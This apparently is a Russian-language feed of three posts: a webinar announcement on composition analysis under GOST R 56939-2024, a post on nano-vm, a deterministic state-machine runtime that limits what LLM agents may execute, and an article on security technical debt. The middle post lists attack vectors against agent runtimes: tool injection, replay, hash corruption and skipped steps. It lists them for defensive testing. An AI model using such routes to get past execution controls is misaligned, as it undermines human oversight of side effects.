Компания ООО "ПВС" совместно с учебным центром "Маском" провела цикл вебинаров, посвящённых разработке безопасного программного обеспечения (РБПО). Совместно с приглашёнными экспертами различных компаний мы рассмотрели 25 процессов, приведённых в ГОСТ Р 56939—2024.

Предлагаем сегодня вашему вниманию вебинар цикла, посвящённый процессу, описанному в разделе 5.16. – "Использование инструментов композиционного анализа". На YouTube. Слайды.

Цели 16-го процесса по ГОСТ Р 56939—2024:

Создание условий для снижения рисков наследования уязвимостей и недекларированных возможностей при использовании заимствованного кода в коде ПО разработчика.

Общее количество вебинаров — 30: каждому из 25 процессов ГОСТа посвящено по одному вебинару и 5 записано дополнительно на смежные темы. Запись всех вебинаров и подборка дополнительной информации доступна по ссылке: ГОСТ56939.РФ.

ИИ не должен управлять исполнением. Заметки о детерминированном FSM-рантайме для агентов

Большинство рантаймов для ИИ-агентов сейчас работают по одному простому паттерну: LLM -> вызов инструмента -> рантайм выполняет сайд-эффект.

Для read-only задач это работает вполне сносно. Но как только агенты начинают мутировать внешнее состояние (платежи, базы данных, инфраструктуру, персональные данные), такая модель исполнения становится слишком сложной для операционного контроля и прогнозирования.

В процессе подготовки части наших внутренних агентов к деплою, мы пришли к необходимости полностью разделить процессы «рассуждения» (reasoning) и право на исполнение (execution authority).

Мы написали nano-vm — детерминированный FSM-рантайм (конечный автомат), в котором:

• модель лишь предлагает действия;

• рантайм жестко контролирует переходы состояний и сайд-эффекты.

Рантайм принудительно обеспечивает:

• конечные графы исполнения;

• строгий порядок шагов, зафиксированный при компиляции (compile-time ordering);

• capability-gating для инструментов (жестко изолированные доступы);

• границы идемпотентности и защиту от replay-атак;

• append-only историю аудита.

Одно из архитектурных решений, которое оказалось критически важным: слой политик намеренно сделан менее выразительным, чем Python.

Мы полностью отказались от eval-подобного исполнения и ограничили политики небольшим детерминированным подмножеством AST:

• только простые операторы;

• никаких циклов;

• никаких системных вызовов.

Это ограничение радикально упростило аудит и исключило целые классы рантайм-поведения, которые мы не хотели видеть в финансовых воркфлоу.

Sabotage Mode и семантика отказов

Чтобы протестировать семантику отказов, мы добавили в демо-стенд «Sabotage Mode» с несколькими векторами атак:

• неавторизованная инъекция инструментов (tool injection);

• попытки повторного выполнения (replay-атаки);

• подделка хешей (hash corruption);

• пропуск шагов пайплайна (skipped transitions).

С точки зрения эксплуатации самым полезным свойством пока оказались именно детерминированные границы повторного воспроизведения вокруг сайд-эффектов.

Нам также пришлось решать крайне неудобную compliance-проблему: как сохранить неизменяемые цепочки аудита (immutable audit chains) и при этом выполнить требования 152-ФЗ / GDPR об уничтожении данных. Наш текущий подход заменяет ссылки в хранилище на маркеры-надгробия (tombstones), полностью сохраняя криптографическую непрерывность хешей и ссылочную целостность графа.

В основном мне интересно, как другие инженеры решают проблему права на исполнение в stateful-агентах. Вы позволяете модели напрямую управлять сайд-эффектами или встраиваете детерминированный слой контроля между ними?

• Core runtime: github.com/Ale007XD/nano_vm

• MCP layer: github.com/Ale007XD/nano-vm-mcp

• Live Sabotage Demo: demo.bannerbot.ru:8843

Почему важно разбирать технический долг вовремя

Технический долг – это накопленные упрощения, устаревшие решения и несвоевременно устраненные проблемы в ИТ-системах. Это могут быть старые библиотеки, забытые сервисы и другие элементы, которые когда то были временными, но остались в продакшене.

В контексте SAST/DAST/SCA техдолг – это разница между тем, что инструмент нашел, и тем, что AppSec-инженер разобрал, а разработчик исправил. Из-за большого количества срабатываний аппсеки могут потерять реальные уязвимости.

Со временем такой долг делает инфраструктуру и уязвимости в коде сложнее для контроля, замедляет реагирование на инциденты и нахождение в коде уязвимостей, которые можно исправить заранее, а также повышает вероятность того, что проблема возникнет там, где её никто не ожидал.

Как рассчитывается

Технический долг рассчитывается как сумма затрат (времени разработчиков, денег) на исправление дефектов. Он включает оценку сложности рефакторинга, устранения багов, обновления библиотек и архитектурных улучшений.

Почему нужно разбирать технический долг вовремя?

Спросили у инженера по информационной безопасности Swordfish Security Дениса Данилова, который помогает заказчикам разбирать технический долг в реальных проектах:

Очень часто после внедрения инструмента и первого сканирования проекта находится очень много срабатываний, на которые команда не может выделить время. Даже если аппсек разобрал все уязвимости и принёс только актуальные, разработчики сопротивляются и не хотят тратить на это время. В итоге уязвимости накапливаются и одна из них обязательно выливается в инцидент, который разработчики вынуждены чинить уже не планово, а с горящими сроками. Если же каждый спринт разбирать и исправлять хотя бы по одну уязвимость, внедрив это в процесс, разработчики не только сократят существующий техдолг, но и со временем придут к тому, что его появление значительно уменьшится. А появление нового техдолга будет ограничено механизмом Quality Gate.

💡 Советы эксперта:

• Регулярно обновляйте зависимости и убирайте устаревшие компоненты.

• Контролируйте и закрывайте временные доступы после использования.

• Проводите инвентаризацию сервисов и API.

• Рассматривайте технический долг как часть модели угроз.